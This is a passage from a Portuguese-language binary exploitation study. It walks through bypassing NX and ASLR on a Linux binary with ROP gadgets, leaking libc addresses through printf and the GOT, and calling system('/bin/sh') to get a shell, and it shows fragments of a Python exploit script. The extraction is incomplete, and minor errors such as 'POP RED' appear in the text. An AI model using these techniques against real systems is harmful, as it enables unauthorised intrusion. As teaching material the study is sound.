Na distribuição Linux da máquina atacante, a Libc utilizada pelo binário é a que se encontra no
caminho "/lib/x86_64-linux-gnu/libc.so.6", porém, a versão da Libc na máquina alvo,
pode ser outra, uma vez que não se sabe qual distribuição e versão do Linux ela utiliza.
ASLR: O ASLR (Address Space Layout Randomization) tem a função de randomização de endereços
de memória assim como o PIE Protector, porém ele randomiza os endereços das Libc, portanto, para
se utilizar uma função existente na Libc do SO, é preciso antes descobrir seu endereço em tempo de
execução.
Para o bypass do byte NX a ponto de conseguir um shell, é preciso primeiro o bypass do ASLR. E para
o bypass do ASLR, primeiro é preciso uma forma de bypass do byte NX.
Como somente é possível executar funções e instruções que já existam no binário ou na Libc, é preciso
utilizar uma função que forneça um endereço de memória válido.
Vazamento de endereços: O programa imprime palavras na tela para o usuário, o que significa que
utiliza alguma função para isso. Se o código fonte ou o disassembly for analisado, é possível encontrar
a função printf que faz este trabalho.
Ao verificar o manual da função printf, é possível entender como ela funciona conforme imagem
abaixo:
1 $ man 3 printf
H41stur 39
BINARY EXPLOITATION 2021‑09‑24
Basicamente a função pede um único argumento, que é a mensagem em si. Conforme explorado no
início deste estudo, para que uma função Assembly seja invocada, seu primeiro argumento precisa
estar no registrador RDI, porém o byte NX não deixará esta instrução ser executada direto da Stack. É
preciso utilizar a técnica de ROP Exploitation
A estes ebdereços do programa que executam ROPS, dá se o nome de “gadgets”. Para encontrar um
endereço do próprio binário que fará o trabalho, de enviar um argumento para RDI, pode‑se utilizar
a ferramenta ROPGadget, que pode ser usada conforme o comando abaixo:
O offset da instrução POP RED; RDI é perfeita, pos estas instruções vão fazer o POP do próximo
endereço para o registrador RDI, e logo em seguida a instrução RET vai retornar para o próximo
endereço no topo da pilha.
Para chegar no endereço real da função POP RDI; RET em tempo de execução, basta somar o
endereço base do binário que já é possível calcular, com o offset encontrado com o ROPGadget.
Ao utilizar o objdump para encontrar o offset da função printf no binário, é possível encontrar dois
offsets conforme o comando abaixo:
O offset 0x1050 representa o offset da função print na PLT (Procedure Linkage Table), que
H41stur 40
BINARY EXPLOITATION 2021‑09‑24
basicamente é uma tabela de links, quando um programa chama a função printf, a primeira
chamada vai para a PLT que por sua vez chamará a GOT (Global Offset Table) que contém o endereço
real da função..
O segundo offset, o 0x4028, representa o offset da função printf na GOT, isso significa que no
momento do exploit, se o argumento da função printf for o endereço da GOT, quando a função
executar, vai imprimir o endereço da função em tempo de execução.
Após o envio das instruções, é preciso conduzir o programa para continuar sua execução de forma
normal, para tanto, é possível encontrar o offset da própria função main com o objdump através do
comando abaixo:
Todos estes offsets podem ser convertidos em endereços reais em tempo de execução, ao somá‑los
com o endereço base do binário que já é calculado com o exploit. Com estas instruções, é possível
atualizar o script com os seguintes comandos:
H41stur 41
BINARY EXPLOITATION 2021‑09‑24
Este endereço obtido com o exploit, é exatamente o endereço da função printf rodando da Libc em
tempo de execução, através dela, é possível calcular o endereço base da Libc, e assim chamar outras
funções.
Para encontrar o endereço base e qual distribuição Linux o alvo usa, é preciso notar o ultimo “byte
H41stur 42
BINARY EXPLOITATION 2021‑09‑24
e meio” do endereço da função encontrado. Não importa o quanto os demais bytes do endereço
possam mudar a cada execução, os ultimos três dígitos serão sempre os mesmos, pois se tratam
do endereço base da Libc, que sempre termina em “000”, mais o offset da função. Assim, pode‑se
utilizar o Libc Database Search, para pesquisar qual Libc o alvo utiliza através do offset da função
printf que no caso é e10.
Ao pesquisar na plataforma, é preciso somente inserir o nome da função, e o ultimo byte e meio, a
plataforma informa quais as possíveis Libc utilizadas, conforme a imagem abaixo:
Foi possível descobrir que o alvo utiliza a distribuição Ubuntu na versão 9. Ao clicar em uma das Libc,
é possível visualizar outros offsets de funções, ou até mesmo efetuar o download da Libc para estudo
local, conforme imagem abaixo:
H41stur 43
BINARY EXPLOITATION 2021‑09‑24
H41stur 44
BINARY EXPLOITATION 2021‑09‑24
Com o endereço base da Libc sendo vazado em tempo de execução, é possível calcular o endereço de
qualquer função em tempo de execução, ao somar o endereço base com seu respectivo offset.
A função system da Libc, consegue executar comandos do próprio SO, ao pesquisar seu
funcionamento com o comando man system, é possível compreendê‑la conforme abaixo:
H41stur 45
BINARY EXPLOITATION 2021‑09‑24
O offset da função system é 0x55410, porém, é preciso encontrar o offset de algum comando para
ser executado, no caso do desenvolvimento deste exploit, o comando ideal é /bin/sh, pois ao
ser executado, retornara um reverse shell. Para encontrar o offset do comando, pode‑se utilizar o
comando strings, conforme abaixo:
O offset de /bin/sh é 0x1b75aa, todos os offsets de Libc encontrados, podem ser transformados em
endereços reais em tempo de execução, ao somá‑los com o endereço base da Libc que já foi possível
calcular.
Com estas informações em mãos, é possível atualizar o script com a ultima parte, que enviará o
payload e retornará um reverse shell interativo. A versão final do exploit fica como abaixo:
1 $ cat exploit.py
2 #!/usr/bin/python3
3
4
5 import socket
6 from struct import pack,unpack
7 from telnetlib import Telnet
8
9 #definindo alvo e funcoes
10 target = ("192.168.0.125", 666)
11 p64 = lambda x: pack("Q",x)
12 u64 = lambda x: unpack("Q",x)
13
H41stur 46
BINARY EXPLOITATION 2021‑09‑24
H41stur 47
BINARY EXPLOITATION 2021‑09‑24
H41stur 48
BINARY EXPLOITATION 2021‑09‑24
116 p.send(payload)
117
118 t = Telnet()
119 t.sock = p
120 t.interact()
Ao executar a versão final do exploit, é possível obter o reverse shell da máquina alvo, conforme
imagem abaixo:
H41stur 49
BINARY EXPLOITATION 2021‑09‑24
H41stur 50
BINARY EXPLOITATION 2021‑09‑24
E com isso, todas as proteções impostas pelo binário e pelo SO foram derrubadas utilizando diversas
técnicas.
CONSIDERAÇÕES FINAIS
Com o avanço tecnológico, as técnicas de proteção, assim como de exploração tendem a atingir uma
complexidade cada vez maior, que exigirão análises mais profundas sobre o assunto.
Além das técnicas apresentadas neste estudo, existem várias outras formas de exploração de binários
como o Heap Overflow e a Engenharia Reversa.
REFERÊNCIAS
LIBC‑DATABASE. Libc Database Search. [S. l.], 2018. Disponível em: https://libc.blukat.me/. Acesso
em: 24 set. 2021.
PEDA ‑ PYTHON EXPLOIT DEVELOPMENT ASSISTANCE FOR GDB (EUA). PEDA: Python Exploit
Development Assistance for GDB. [S. l.], 05 2012. Disponível em: https://github.com/longld/peda.
Acesso em: 24 set. 2021.
RAPID7 (EUA). Metasploit Framework. [S. l.], 2021. Disponível em: https://www.metasploit.com/.
Acesso em: 24 set. 2021.
ROPGADGET TOOL (EUA). ROPgadget Tool. [S. l.], 05 2021. Disponível em: https://github.com/JonathanSalwan/ROPg
Acesso em: 24 set. 2021.
SEI CERT C CODING STANDARD (EUA). SEI CERT C Coding Standard. [S. l.], 05 2018. Disponível
em: https://wiki.sei.cmu.edu/confluence/display/c/SEI+CERT+C+Coding+Standard. Acesso em: 24
set. 2021.
H41stur 51